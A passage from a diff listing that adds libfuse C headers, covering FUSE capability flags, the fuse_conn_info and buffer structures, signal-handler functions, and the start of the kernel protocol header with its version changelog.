     171 + * This feature is disabled by default.
     172 + */
     173 +#define FUSE_CAP_DONT_MASK (1 << 6)
     174 + 
     175 +/**
     176 + * Indicates that libfuse should try to use splice() when writing to
     177 + * the fuse device. This may improve performance.
     178 + *
     179 + * This feature is disabled by default.
     180 + */
     181 +#define FUSE_CAP_SPLICE_WRITE (1 << 7)
     182 + 
     183 +/**
     184 + * Indicates that libfuse should try to move pages instead of copying when
     185 + * writing to / reading from the fuse device. This may improve performance.
     186 + *
     187 + * This feature is disabled by default.
     188 + */
     189 +#define FUSE_CAP_SPLICE_MOVE (1 << 8)
     190 + 
     191 +/**
     192 + * Indicates that libfuse should try to use splice() when reading from
     193 + * the fuse device. This may improve performance.
     194 + *
     195 + * This feature is enabled by default when supported by the kernel and
     196 + * if the filesystem implements a write_buf() handler.
     197 + */
     198 +#define FUSE_CAP_SPLICE_READ (1 << 9)
     199 + 
     200 +/**
     201 + * If set, the calls to flock(2) will be emulated using POSIX locks and must
     202 + * then be handled by the filesystem's setlock() handler.
     203 + *
     204 + * If not set, flock(2) calls will be handled by the FUSE kernel module
     205 + * internally (so any access that does not go through the kernel cannot be taken
     206 + * into account).
     207 + *
     208 + * This feature is enabled by default when supported by the kernel and
     209 + * if the filesystem implements a flock() handler.
     210 + */
     211 +#define FUSE_CAP_FLOCK_LOCKS (1 << 10)
     212 + 
     213 +/**
     214 + * Indicates that the filesystem supports ioctl's on directories.
     215 + *
     216 + * This feature is enabled by default when supported by the kernel.
     217 + */
     218 +#define FUSE_CAP_IOCTL_DIR (1 << 11)
     219 + 
     220 +/**
     221 + * Traditionally, while a file is open the FUSE kernel module only
     222 + * asks the filesystem for an update of the file's attributes when a
     223 + * client attempts to read beyond EOF. This is unsuitable for
     224 + * e.g. network filesystems, where the file contents may change
     225 + * without the kernel knowing about it.
     226 + *
     227 + * If this flag is set, FUSE will check the validity of the attributes
     228 + * on every read. If the attributes are no longer valid (i.e., if the
     229 + * *attr_timeout* passed to fuse_reply_attr() or set in `struct
     230 + * fuse_entry_param` has passed), it will first issue a `getattr`
     231 + * request. If the new mtime differs from the previous value, any
     232 + * cached file *contents* will be invalidated as well.
     233 + *
     234 + * This flag should always be set when available. If all file changes
     235 + * go through the kernel, *attr_timeout* should be set to a very large
     236 + * number to avoid unnecessary getattr() calls.
     237 + *
     238 + * This feature is enabled by default when supported by the kernel.
     239 + */
     240 +#define FUSE_CAP_AUTO_INVAL_DATA (1 << 12)
     241 + 
     242 +/**
     243 + * Indicates that the filesystem supports readdirplus.
     244 + *
     245 + * This feature is enabled by default when supported by the kernel and if the
     246 + * filesystem implements a readdirplus() handler.
     247 + */
     248 +#define FUSE_CAP_READDIRPLUS (1 << 13)
     249 + 
     250 +/**
     251 + * Indicates that the filesystem supports adaptive readdirplus.
     252 + *
     253 + * If FUSE_CAP_READDIRPLUS is not set, this flag has no effect.
     254 + *
     255 + * If FUSE_CAP_READDIRPLUS is set and this flag is not set, the kernel
     256 + * will always issue readdirplus() requests to retrieve directory
     257 + * contents.
     258 + *
     259 + * If FUSE_CAP_READDIRPLUS is set and this flag is set, the kernel
     260 + * will issue both readdir() and readdirplus() requests, depending on
     261 + * how much information is expected to be required.
     262 + *
     263 + * As of Linux 4.20, the algorithm is as follows: when userspace
     264 + * starts to read directory entries, issue a READDIRPLUS request to
     265 + * the filesystem. If any entry attributes have been looked up by the
     266 + * time userspace requests the next batch of entries continue with
     267 + * READDIRPLUS, otherwise switch to plain READDIR. This will reasult
     268 + * in eg plain "ls" triggering READDIRPLUS first then READDIR after
     269 + * that because it doesn't do lookups. "ls -l" should result in all
     270 + * READDIRPLUS, except if dentries are already cached.
     271 + *
     272 + * This feature is enabled by default when supported by the kernel and
     273 + * if the filesystem implements both a readdirplus() and a readdir()
     274 + * handler.
     275 + */
     276 +#define FUSE_CAP_READDIRPLUS_AUTO (1 << 14)
     277 + 
     278 +/**
     279 + * Indicates that the filesystem supports asynchronous direct I/O submission.
     280 + *
     281 + * If this capability is not requested/available, the kernel will ensure that
     282 + * there is at most one pending read and one pending write request per direct
     283 + * I/O file-handle at any time.
     284 + *
     285 + * This feature is enabled by default when supported by the kernel.
     286 + */
     287 +#define FUSE_CAP_ASYNC_DIO (1 << 15)
     288 + 
     289 +/**
     290 + * Indicates that writeback caching should be enabled. This means that
     291 + * individual write request may be buffered and merged in the kernel
     292 + * before they are send to the filesystem.
     293 + *
     294 + * This feature is disabled by default.
     295 + */
     296 +#define FUSE_CAP_WRITEBACK_CACHE (1 << 16)
     297 + 
     298 +/**
     299 + * Indicates support for zero-message opens. If this flag is set in
     300 + * the `capable` field of the `fuse_conn_info` structure, then the
     301 + * filesystem may return `ENOSYS` from the open() handler to indicate
     302 + * success. Further attempts to open files will be handled in the
     303 + * kernel. (If this flag is not set, returning ENOSYS will be treated
     304 + * as an error and signaled to the caller).
     305 + *
     306 + * Setting (or unsetting) this flag in the `want` field has *no
     307 + * effect*.
     308 + */
     309 +#define FUSE_CAP_NO_OPEN_SUPPORT (1 << 17)
     310 + 
     311 +/**
     312 + * Indicates support for parallel directory operations. If this flag
     313 + * is unset, the FUSE kernel module will ensure that lookup() and
     314 + * readdir() requests are never issued concurrently for the same
     315 + * directory.
     316 + *
     317 + * This feature is enabled by default when supported by the kernel.
     318 + */
     319 +#define FUSE_CAP_PARALLEL_DIROPS (1 << 18)
     320 + 
     321 +/**
     322 + * Indicates support for POSIX ACLs.
     323 + *
     324 + * If this feature is enabled, the kernel will cache and have
     325 + * responsibility for enforcing ACLs. ACL will be stored as xattrs and
     326 + * passed to userspace, which is responsible for updating the ACLs in
     327 + * the filesystem, keeping the file mode in sync with the ACL, and
     328 + * ensuring inheritance of default ACLs when new filesystem nodes are
     329 + * created. Note that this requires that the file system is able to
     330 + * parse and interpret the xattr representation of ACLs.
     331 + *
     332 + * Enabling this feature implicitly turns on the
     333 + * ``default_permissions`` mount option (even if it was not passed to
     334 + * mount(2)).
     335 + *
     336 + * This feature is disabled by default.
     337 + */
     338 +#define FUSE_CAP_POSIX_ACL (1 << 19)
     339 + 
     340 +/**
     341 + * Indicates that the filesystem is responsible for unsetting
     342 + * setuid and setgid bits when a file is written, truncated, or
     343 + * its owner is changed.
     344 + *
     345 + * This feature is enabled by default when supported by the kernel.
     346 + */
     347 +#define FUSE_CAP_HANDLE_KILLPRIV (1 << 20)
     348 + 
     349 +/**
     350 + * Indicates that the kernel supports caching symlinks in its page cache.
     351 + *
     352 + * When this feature is enabled, symlink targets are saved in the page cache.
     353 + * You can invalidate a cached link by calling:
     354 + * `fuse_lowlevel_notify_inval_inode(se, ino, 0, 0);`
     355 + *
     356 + * This feature is disabled by default.
     357 + * If the kernel supports it (>= 4.20), you can enable this feature by
     358 + * setting this flag in the `want` field of the `fuse_conn_info` structure.
     359 + */
     360 +#define FUSE_CAP_CACHE_SYMLINKS (1 << 23)
     361 + 
     362 +/**
     363 + * Indicates support for zero-message opendirs. If this flag is set in
     364 + * the `capable` field of the `fuse_conn_info` structure, then the filesystem
     365 + * may return `ENOSYS` from the opendir() handler to indicate success. Further
     366 + * opendir and releasedir messages will be handled in the kernel. (If this
     367 + * flag is not set, returning ENOSYS will be treated as an error and signalled
     368 + * to the caller.)
     369 + *
     370 + * Setting (or unsetting) this flag in the `want` field has *no effect*.
     371 + */
     372 +#define FUSE_CAP_NO_OPENDIR_SUPPORT (1 << 24)
     373 + 
     374 +/**
     375 + * Indicates support for invalidating cached pages only on explicit request.
     376 + *
     377 + * If this flag is set in the `capable` field of the `fuse_conn_info` structure,
     378 + * then the FUSE kernel module supports invalidating cached pages only on
     379 + * explicit request by the filesystem through fuse_lowlevel_notify_inval_inode()
     380 + * or fuse_invalidate_path().
     381 + *
     382 + * By setting this flag in the `want` field of the `fuse_conn_info` structure,
     383 + * the filesystem is responsible for invalidating cached pages through explicit
     384 + * requests to the kernel.
     385 + *
     386 + * Note that setting this flag does not prevent the cached pages from being
     387 + * flushed by OS itself and/or through user actions.
     388 + *
     389 + * Note that if both FUSE_CAP_EXPLICIT_INVAL_DATA and FUSE_CAP_AUTO_INVAL_DATA
     390 + * are set in the `capable` field of the `fuse_conn_info` structure then
     391 + * FUSE_CAP_AUTO_INVAL_DATA takes precedence.
     392 + *
     393 + * This feature is disabled by default.
     394 + */
     395 +#define FUSE_CAP_EXPLICIT_INVAL_DATA (1 << 25)
     396 + 
     397 +/**
     398 + * Ioctl flags
     399 + *
     400 + * FUSE_IOCTL_COMPAT: 32bit compat ioctl on 64bit machine
     401 + * FUSE_IOCTL_UNRESTRICTED: not restricted to well-formed ioctls, retry allowed
     402 + * FUSE_IOCTL_RETRY: retry with new iovecs
     403 + * FUSE_IOCTL_DIR: is a directory
     404 + *
     405 + * FUSE_IOCTL_MAX_IOV: maximum of in_iovecs + out_iovecs
     406 + */
     407 +#define FUSE_IOCTL_COMPAT (1 << 0)
     408 +#define FUSE_IOCTL_UNRESTRICTED (1 << 1)
     409 +#define FUSE_IOCTL_RETRY (1 << 2)
     410 +#define FUSE_IOCTL_DIR (1 << 4)
     411 + 
     412 +#define FUSE_IOCTL_MAX_IOV 256
     413 + 
     414 +/**
     415 + * Connection information, passed to the ->init() method
     416 + *
     417 + * Some of the elements are read-write, these can be changed to
     418 + * indicate the value requested by the filesystem. The requested
     419 + * value must usually be smaller than the indicated value.
     420 + */
     421 +struct fuse_conn_info {
     422 + /**
     423 + * Major version of the protocol (read-only)
     424 + */
     425 + unsigned proto_major;
     426 + 
     427 + /**
     428 + * Minor version of the protocol (read-only)
     429 + */
     430 + unsigned proto_minor;
     431 + 
     432 + /**
     433 + * Maximum size of the write buffer
     434 + */
     435 + unsigned max_write;
     436 + 
     437 + /**
     438 + * Maximum size of read requests. A value of zero indicates no
     439 + * limit. However, even if the filesystem does not specify a
     440 + * limit, the maximum size of read requests will still be
     441 + * limited by the kernel.
     442 + *
     443 + * NOTE: For the time being, the maximum size of read requests
     444 + * must be set both here *and* passed to fuse_session_new()
     445 + * using the ``-o max_read=<n>`` mount option. At some point
     446 + * in the future, specifying the mount option will no longer
     447 + * be necessary.
     448 + */
     449 + unsigned max_read;
     450 + 
     451 + /**
     452 + * Maximum readahead
     453 + */
     454 + unsigned max_readahead;
     455 + 
     456 + /**
     457 + * Capability flags that the kernel supports (read-only)
     458 + */
     459 + unsigned capable;
     460 + 
     461 + /**
     462 + * Capability flags that the filesystem wants to enable.
     463 + *
     464 + * libfuse attempts to initialize this field with
     465 + * reasonable default values before calling the init() handler.
     466 + */
     467 + unsigned want;
     468 + 
     469 + /**
     470 + * Maximum number of pending "background" requests. A
     471 + * background request is any type of request for which the
     472 + * total number is not limited by other means. As of kernel
     473 + * 4.8, only two types of requests fall into this category:
     474 + *
     475 + * 1. Read-ahead requests
     476 + * 2. Asynchronous direct I/O requests
     477 + *
     478 + * Read-ahead requests are generated (if max_readahead is
     479 + * non-zero) by the kernel to preemptively fill its caches
     480 + * when it anticipates that userspace will soon read more
     481 + * data.
     482 + *
     483 + * Asynchronous direct I/O requests are generated if
     484 + * FUSE_CAP_ASYNC_DIO is enabled and userspace submits a large
     485 + * direct I/O request. In this case the kernel will internally
     486 + * split it up into multiple smaller requests and submit them
     487 + * to the filesystem concurrently.
     488 + *
     489 + * Note that the following requests are *not* background
     490 + * requests: writeback requests (limited by the kernel's
     491 + * flusher algorithm), regular (i.e., synchronous and
     492 + * buffered) userspace read/write requests (limited to one per
     493 + * thread), asynchronous read requests (Linux's io_submit(2)
     494 + * call actually blocks, so these are also limited to one per
     495 + * thread).
     496 + */
     497 + unsigned max_background;
     498 + 
     499 + /**
     500 + * Kernel congestion threshold parameter. If the number of pending
     501 + * background requests exceeds this number, the FUSE kernel module will
     502 + * mark the filesystem as "congested". This instructs the kernel to
     503 + * expect that queued requests will take some time to complete, and to
     504 + * adjust its algorithms accordingly (e.g. by putting a waiting thread
     505 + * to sleep instead of using a busy-loop).
     506 + */
     507 + unsigned congestion_threshold;
     508 + 
     509 + /**
     510 + * When FUSE_CAP_WRITEBACK_CACHE is enabled, the kernel is responsible
     511 + * for updating mtime and ctime when write requests are received. The
     512 + * updated values are passed to the filesystem with setattr() requests.
     513 + * However, if the filesystem does not support the full resolution of
     514 + * the kernel timestamps (nanoseconds), the mtime and ctime values used
     515 + * by kernel and filesystem will differ (and result in an apparent
     516 + * change of times after a cache flush).
     517 + *
     518 + * To prevent this problem, this variable can be used to inform the
     519 + * kernel about the timestamp granularity supported by the file-system.
     520 + * The value should be power of 10. The default is 1, i.e. full
     521 + * nano-second resolution. Filesystems supporting only second resolution
     522 + * should set this to 1000000000.
     523 + */
     524 + unsigned time_gran;
     525 + 
     526 + /**
     527 + * For future use.
     528 + */
     529 + unsigned reserved[22];
     530 +};
     531 + 
     532 +struct fuse_session;
     533 +struct fuse_pollhandle;
     534 +struct fuse_conn_info_opts;
     535 + 
     536 +/**
     537 + * This function parses several command-line options that can be used
     538 + * to override elements of struct fuse_conn_info. The pointer returned
     539 + * by this function should be passed to the
     540 + * fuse_apply_conn_info_opts() method by the file system's init()
     541 + * handler.
     542 + *
     543 + * Before using this function, think twice if you really want these
     544 + * parameters to be adjustable from the command line. In most cases,
     545 + * they should be determined by the file system internally.
     546 + *
     547 + * The following options are recognized:
     548 + *
     549 + * -o max_write=N sets conn->max_write
     550 + * -o max_readahead=N sets conn->max_readahead
     551 + * -o max_background=N sets conn->max_background
     552 + * -o congestion_threshold=N sets conn->congestion_threshold
     553 + * -o async_read sets FUSE_CAP_ASYNC_READ in conn->want
     554 + * -o sync_read unsets FUSE_CAP_ASYNC_READ in conn->want
     555 + * -o atomic_o_trunc sets FUSE_CAP_ATOMIC_O_TRUNC in conn->want
     556 + * -o no_remote_lock Equivalent to -o no_remote_flock,no_remote_posix_lock
     557 + * -o no_remote_flock Unsets FUSE_CAP_FLOCK_LOCKS in conn->want
     558 + * -o no_remote_posix_lock Unsets FUSE_CAP_POSIX_LOCKS in conn->want
     559 + * -o [no_]splice_write (un-)sets FUSE_CAP_SPLICE_WRITE in conn->want
     560 + * -o [no_]splice_move (un-)sets FUSE_CAP_SPLICE_MOVE in conn->want
     561 + * -o [no_]splice_read (un-)sets FUSE_CAP_SPLICE_READ in conn->want
     562 + * -o [no_]auto_inval_data (un-)sets FUSE_CAP_AUTO_INVAL_DATA in conn->want
     563 + * -o readdirplus=no unsets FUSE_CAP_READDIRPLUS in conn->want
     564 + * -o readdirplus=yes sets FUSE_CAP_READDIRPLUS and unsets
     565 + * FUSE_CAP_READDIRPLUS_AUTO in conn->want
     566 + * -o readdirplus=auto sets FUSE_CAP_READDIRPLUS and
     567 + * FUSE_CAP_READDIRPLUS_AUTO in conn->want
     568 + * -o [no_]async_dio (un-)sets FUSE_CAP_ASYNC_DIO in conn->want
     569 + * -o [no_]writeback_cache (un-)sets FUSE_CAP_WRITEBACK_CACHE in conn->want
     570 + * -o time_gran=N sets conn->time_gran
     571 + *
     572 + * Known options will be removed from *args*, unknown options will be
     573 + * passed through unchanged.
     574 + *
     575 + * @param args argument vector (input+output)
     576 + * @return parsed options
     577 + **/
     578 +struct fuse_conn_info_opts* fuse_parse_conn_info_opts(struct fuse_args *args);
     579 + 
     580 +/**
     581 + * This function applies the (parsed) parameters in *opts* to the
     582 + * *conn* pointer. It may modify the following fields: wants,
     583 + * max_write, max_readahead, congestion_threshold, max_background,
     584 + * time_gran. A field is only set (or unset) if the corresponding
     585 + * option has been explicitly set.
     586 + */
     587 +void fuse_apply_conn_info_opts(struct fuse_conn_info_opts *opts,
     588 + struct fuse_conn_info *conn);
     589 + 
     590 +/**
     591 + * Go into the background
     592 + *
     593 + * @param foreground if true, stay in the foreground
     594 + * @return 0 on success, -1 on failure
     595 + */
     596 +int fuse_daemonize(int foreground);
     597 + 
     598 +/**
     599 + * Get the version of the library
     600 + *
     601 + * @return the version
     602 + */
     603 +int fuse_version(void);
     604 + 
     605 +/**
     606 + * Get the full package version string of the library
     607 + *
     608 + * @return the package version
     609 + */
     610 +const char *fuse_pkgversion(void);
     611 + 
     612 +/**
     613 + * Destroy poll handle
     614 + *
     615 + * @param ph the poll handle
     616 + */
     617 +void fuse_pollhandle_destroy(struct fuse_pollhandle *ph);
     618 + 
     619 +/* ----------------------------------------------------------- *
     620 + * Data buffer *
     621 + * ----------------------------------------------------------- */
     622 + 
     623 +/**
     624 + * Buffer flags
     625 + */
     626 +enum fuse_buf_flags {
     627 + /**
     628 + * Buffer contains a file descriptor
     629 + *
     630 + * If this flag is set, the .fd field is valid, otherwise the
     631 + * .mem fields is valid.
     632 + */
     633 + FUSE_BUF_IS_FD = (1 << 1),
     634 + 
     635 + /**
     636 + * Seek on the file descriptor
     637 + *
     638 + * If this flag is set then the .pos field is valid and is
     639 + * used to seek to the given offset before performing
     640 + * operation on file descriptor.
     641 + */
     642 + FUSE_BUF_FD_SEEK = (1 << 2),
     643 + 
     644 + /**
     645 + * Retry operation on file descriptor
     646 + *
     647 + * If this flag is set then retry operation on file descriptor
     648 + * until .size bytes have been copied or an error or EOF is
     649 + * detected.
     650 + */
     651 + FUSE_BUF_FD_RETRY = (1 << 3)
     652 +};
     653 + 
     654 +/**
     655 + * Buffer copy flags
     656 + */
     657 +enum fuse_buf_copy_flags {
     658 + /**
     659 + * Don't use splice(2)
     660 + *
     661 + * Always fall back to using read and write instead of
     662 + * splice(2) to copy data from one file descriptor to another.
     663 + *
     664 + * If this flag is not set, then only fall back if splice is
     665 + * unavailable.
     666 + */
     667 + FUSE_BUF_NO_SPLICE = (1 << 1),
     668 + 
     669 + /**
     670 + * Force splice
     671 + *
     672 + * Always use splice(2) to copy data from one file descriptor
     673 + * to another. If splice is not available, return -EINVAL.
     674 + */
     675 + FUSE_BUF_FORCE_SPLICE = (1 << 2),
     676 + 
     677 + /**
     678 + * Try to move data with splice.
     679 + *
     680 + * If splice is used, try to move pages from the source to the
     681 + * destination instead of copying. See documentation of
     682 + * SPLICE_F_MOVE in splice(2) man page.
     683 + */
     684 + FUSE_BUF_SPLICE_MOVE = (1 << 3),
     685 + 
     686 + /**
     687 + * Don't block on the pipe when copying data with splice
     688 + *
     689 + * Makes the operations on the pipe non-blocking (if the pipe
     690 + * is full or empty). See SPLICE_F_NONBLOCK in the splice(2)
     691 + * man page.
     692 + */
     693 + FUSE_BUF_SPLICE_NONBLOCK= (1 << 4)
     694 +};
     695 + 
     696 +/**
     697 + * Single data buffer
     698 + *
     699 + * Generic data buffer for I/O, extended attributes, etc... Data may
     700 + * be supplied as a memory pointer or as a file descriptor
     701 + */
     702 +struct fuse_buf {
     703 + /**
     704 + * Size of data in bytes
     705 + */
     706 + size_t size;
     707 + 
     708 + /**
     709 + * Buffer flags
     710 + */
     711 + enum fuse_buf_flags flags;
     712 + 
     713 + /**
     714 + * Memory pointer
     715 + *
     716 + * Used unless FUSE_BUF_IS_FD flag is set.
     717 + */
     718 + void *mem;
     719 + 
     720 + /**
     721 + * File descriptor
     722 + *
     723 + * Used if FUSE_BUF_IS_FD flag is set.
     724 + */
     725 + int fd;
     726 + 
     727 + /**
     728 + * File position
     729 + *
     730 + * Used if FUSE_BUF_FD_SEEK flag is set.
     731 + */
     732 + off_t pos;
     733 +};
     734 + 
     735 +/**
     736 + * Data buffer vector
     737 + *
     738 + * An array of data buffers, each containing a memory pointer or a
     739 + * file descriptor.
     740 + *
     741 + * Allocate dynamically to add more than one buffer.
     742 + */
     743 +struct fuse_bufvec {
     744 + /**
     745 + * Number of buffers in the array
     746 + */
     747 + size_t count;
     748 + 
     749 + /**
     750 + * Index of current buffer within the array
     751 + */
     752 + size_t idx;
     753 + 
     754 + /**
     755 + * Current offset within the current buffer
     756 + */
     757 + size_t off;
     758 + 
     759 + /**
     760 + * Array of buffers
     761 + */
     762 + struct fuse_buf buf[1];
     763 +};
     764 + 
     765 +/* Initialize bufvec with a single buffer of given size */
     766 +#define FUSE_BUFVEC_INIT(size__) \
     767 + ((struct fuse_bufvec) { \
     768 + /* .count= */ 1, \
     769 + /* .idx = */ 0, \
     770 + /* .off = */ 0, \
     771 + /* .buf = */ { /* [0] = */ { \
     772 + /* .size = */ (size__), \
     773 + /* .flags = */ (enum fuse_buf_flags) 0, \
     774 + /* .mem = */ NULL, \
     775 + /* .fd = */ -1, \
     776 + /* .pos = */ 0, \
     777 + } } \
     778 + } )
     779 + 
     780 +/**
     781 + * Get total size of data in a fuse buffer vector
     782 + *
     783 + * @param bufv buffer vector
     784 + * @return size of data
     785 + */
     786 +size_t fuse_buf_size(const struct fuse_bufvec *bufv);
     787 + 
     788 +/**
     789 + * Copy data from one buffer vector to another
     790 + *
     791 + * @param dst destination buffer vector
     792 + * @param src source buffer vector
     793 + * @param flags flags controlling the copy
     794 + * @return actual number of bytes copied or -errno on error
     795 + */
     796 +ssize_t fuse_buf_copy(struct fuse_bufvec *dst, struct fuse_bufvec *src,
     797 + enum fuse_buf_copy_flags flags);
     798 + 
     799 +/* ----------------------------------------------------------- *
     800 + * Signal handling *
     801 + * ----------------------------------------------------------- */
     802 + 
     803 +/**
     804 + * Exit session on HUP, TERM and INT signals and ignore PIPE signal
     805 + *
     806 + * Stores session in a global variable. May only be called once per
     807 + * process until fuse_remove_signal_handlers() is called.
     808 + *
     809 + * Once either of the POSIX signals arrives, the signal handler calls
     810 + * fuse_session_exit().
     811 + *
     812 + * @param se the session to exit
     813 + * @return 0 on success, -1 on failure
     814 + *
     815 + * See also:
     816 + * fuse_remove_signal_handlers()
     817 + */
     818 +int fuse_set_signal_handlers(struct fuse_session *se);
     819 + 
     820 +/**
     821 + * Restore default signal handlers
     822 + *
     823 + * Resets global session. After this fuse_set_signal_handlers() may
     824 + * be called again.
     825 + *
     826 + * @param se the same session as given in fuse_set_signal_handlers()
     827 + *
     828 + * See also:
     829 + * fuse_set_signal_handlers()
     830 + */
     831 +void fuse_remove_signal_handlers(struct fuse_session *se);
     832 + 
     833 +/* ----------------------------------------------------------- *
     834 + * Compatibility stuff *
     835 + * ----------------------------------------------------------- */
     836 + 
     837 +#if !defined(FUSE_USE_VERSION) || FUSE_USE_VERSION < 30
     838 +# error only API version 30 or greater is supported
     839 +#endif
     840 + 
     841 +#ifdef __cplusplus
     842 +}
     843 +#endif
     844 + 
     845 + 
     846 +/*
     847 + * This interface uses 64 bit off_t.
     848 + *
     849 + * On 32bit systems please add -D_FILE_OFFSET_BITS=64 to your compile flags!
     850 + */
     851 + 
     852 +#if defined(__GNUC__) && (__GNUC__ > 4 || __GNUC__ == 4 && __GNUC_MINOR__ >= 6) && !defined __cplusplus
     853 +_Static_assert(sizeof(off_t) == 8, "fuse: off_t must be 64bit");
     854 +#else
     855 +struct _fuse_off_t_must_be_64bit_dummy_struct \
     856 + { unsigned _fuse_off_t_must_be_64bit:((sizeof(off_t) == 8) ? 1 : -1); };
     857 +#endif
     858 + 
     859 +#endif /* FUSE_COMMON_H_ */
     860 + 
  • ■ ■ ■ ■ ■ ■
    libfuse/fuse_kernel.h
     1 +/* SPDX-License-Identifier: ((GPL-2.0 WITH Linux-syscall-note) OR BSD-2-Clause) */
     2 +/*
     3 + This file defines the kernel interface of FUSE
     4 + Copyright (C) 2001-2008 Miklos Szeredi <[email protected]>
     5 + 
     6 + This program can be distributed under the terms of the GNU GPL.
     7 + See the file COPYING.
     8 + 
     9 + This -- and only this -- header file may also be distributed under
     10 + the terms of the BSD Licence as follows:
     11 + 
     12 + Copyright (C) 2001-2007 Miklos Szeredi. All rights reserved.
     13 + 
     14 + Redistribution and use in source and binary forms, with or without
     15 + modification, are permitted provided that the following conditions
     16 + are met:
     17 + 1. Redistributions of source code must retain the above copyright
     18 + notice, this list of conditions and the following disclaimer.
     19 + 2. Redistributions in binary form must reproduce the above copyright
     20 + notice, this list of conditions and the following disclaimer in the
     21 + documentation and/or other materials provided with the distribution.
     22 + 
     23 + THIS SOFTWARE IS PROVIDED BY AUTHOR AND CONTRIBUTORS ``AS IS'' AND
     24 + ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     25 + IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
     26 + ARE DISCLAIMED. IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE
     27 + FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
     28 + DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
     29 + OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
     30 + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
     31 + LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
     32 + OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
     33 + SUCH DAMAGE.
     34 +*/
     35 + 
     36 +/*
     37 + * This file defines the kernel interface of FUSE
     38 + *
     39 + * Protocol changelog:
     40 + *
     41 + * 7.9:
     42 + * - new fuse_getattr_in input argument of GETATTR
     43 + * - add lk_flags in fuse_lk_in
     44 + * - add lock_owner field to fuse_setattr_in, fuse_read_in and fuse_write_in
     45 + * - add blksize field to fuse_attr
     46 + * - add file flags field to fuse_read_in and fuse_write_in
     47 + * - Add ATIME_NOW and MTIME_NOW flags to fuse_setattr_in
     48 + *
     49 + * 7.10
     50 + * - add nonseekable open flag
     51 + *
     52 + * 7.11
     53 + * - add IOCTL message
     54 + * - add unsolicited notification support
     55 + * - add POLL message and NOTIFY_POLL notification
     56 + *
     57 + * 7.12
     58 + * - add umask flag to input argument of create, mknod and mkdir
     59 + * - add notification messages for invalidation of inodes and
     60 + * directory entries
     61 + *
     62 + * 7.13
     63 + * - make max number of background requests and congestion threshold
     64 + * tunables
     65 + *
     66 + * 7.14
     67 + * - add splice support to fuse device
     68 + *
     69 + * 7.15
     70 + * - add store notify
     71 + * - add retrieve notify
     72 + *
     73 + * 7.16
     74 + * - add BATCH_FORGET request
     75 + * - FUSE_IOCTL_UNRESTRICTED shall now return with array of 'struct
     76 + * fuse_ioctl_iovec' instead of ambiguous 'struct iovec'
     77 + * - add FUSE_IOCTL_32BIT flag
     78 + *
     79 + * 7.17
     80 + * - add FUSE_FLOCK_LOCKS and FUSE_RELEASE_FLOCK_UNLOCK
     81 + *
     82 + * 7.18
     83 + * - add FUSE_IOCTL_DIR flag
     84 + * - add FUSE_NOTIFY_DELETE
     85 + *
     86 + * 7.19
     87 + * - add FUSE_FALLOCATE
     88 + *
     89 + * 7.20
     90 + * - add FUSE_AUTO_INVAL_DATA
     91 + *
     92 + * 7.21
     93 + * - add FUSE_READDIRPLUS
     94 + * - send the requested events in POLL request
     95 + *
     96 + * 7.22
     97 + * - add FUSE_ASYNC_DIO
     98 + *
     99 + * 7.23
     100 + * - add FUSE_WRITEBACK_CACHE
     101 + * - add time_gran to fuse_init_out
     102 + * - add reserved space to fuse_init_out
     103 + * - add FATTR_CTIME
     104 + * - add ctime and ctimensec to fuse_setattr_in
     105 + * - add FUSE_RENAME2 request
     106 + * - add FUSE_NO_OPEN_SUPPORT flag
     107 + *
     108 + * 7.24
     109 + * - add FUSE_LSEEK for SEEK_HOLE and SEEK_DATA support
     110 + *
     111 + * 7.25
     112 + * - add FUSE_PARALLEL_DIROPS
     113 + *
     114 + * 7.26
     115 + * - add FUSE_HANDLE_KILLPRIV
     116 + * - add FUSE_POSIX_ACL
     117 + *
     118 + * 7.27
     119 + * - add FUSE_ABORT_ERROR
     120 + *
     121 + * 7.28
     122 + * - add FUSE_COPY_FILE_RANGE
     123 + * - add FOPEN_CACHE_DIR
     124 + * - add FUSE_MAX_PAGES, add max_pages to init_out
     125 + * - add FUSE_CACHE_SYMLINKS
     126 + *
     127 + * 7.29
     128 + * - add FUSE_NO_OPENDIR_SUPPORT flag
     129 + *
     130 + * 7.30
     131 + * - add FUSE_EXPLICIT_INVAL_DATA
     132 + * - add FUSE_IOCTL_COMPAT_X32
     133 + *
     134 + * 7.31
     135 + * - add FUSE_WRITE_KILL_PRIV flag
     136 + */
     137 + 
     138 +#ifndef _LINUX_FUSE_H
     139 +#define _LINUX_FUSE_H
     140 + 
     141 +#ifdef __KERNEL__
     142 +#include <linux/types.h>
     143 +#else
     144 +#include <stdint.h>
     145 +#endif
     146 + 
     147 +/*
     148 + * Version negotiation:
     149 + *
     150 + * Both the kernel and userspace send the version they support in the
     151 + * INIT request and reply respectively.
     152 + *
     153 + * If the major versions match then both shall use the smallest
     154 + * of the two minor versions for communication.
     155 + *
     156 + * If the kernel supports a larger major version, then userspace shall
     157 + * reply with the major version it supports, ignore the rest of the
     158 + * INIT message and expect a new INIT message from the kernel with a
     159 + * matching major version.
     160 + *
     161 + * If the library supports a larger major version, then it shall fall
     162 + * back to the major protocol version sent by the kernel for
     163 + * communication and reply with that major version (and an arbitrary
     164 + * supported minor version).
     165 + */
     166 + 
     167 +/** Version number of this interface */
     168 +#define FUSE_KERNEL_VERSION 7
     169 + 
     170 +/** Minor version number of this interface */
     171 +#define FUSE_KERNEL_MINOR_VERSION 31
     172 + 
     173 +/** The node ID of the root inode */
     174 +#define FUSE_ROOT_ID 1
     175 + 
     176 +/* Make sure all structures are padded to 64bit boundary, so 32bit
     177 + userspace works under 64bit kernels */
     178 + 
     179 +struct fuse_attr {
     180 + uint64_t ino;
     181 + uint64_t size;
     182 + uint64_t blocks;
     183 + uint64_t atime;
     184 + uint64_t mtime;
     185 + uint64_t ctime;
     186 + uint32_t atimensec;
     187 + uint32_t mtimensec;
     188 + uint32_t ctimensec;
     189 + uint32_t mode;
     190 + uint32_t nlink;
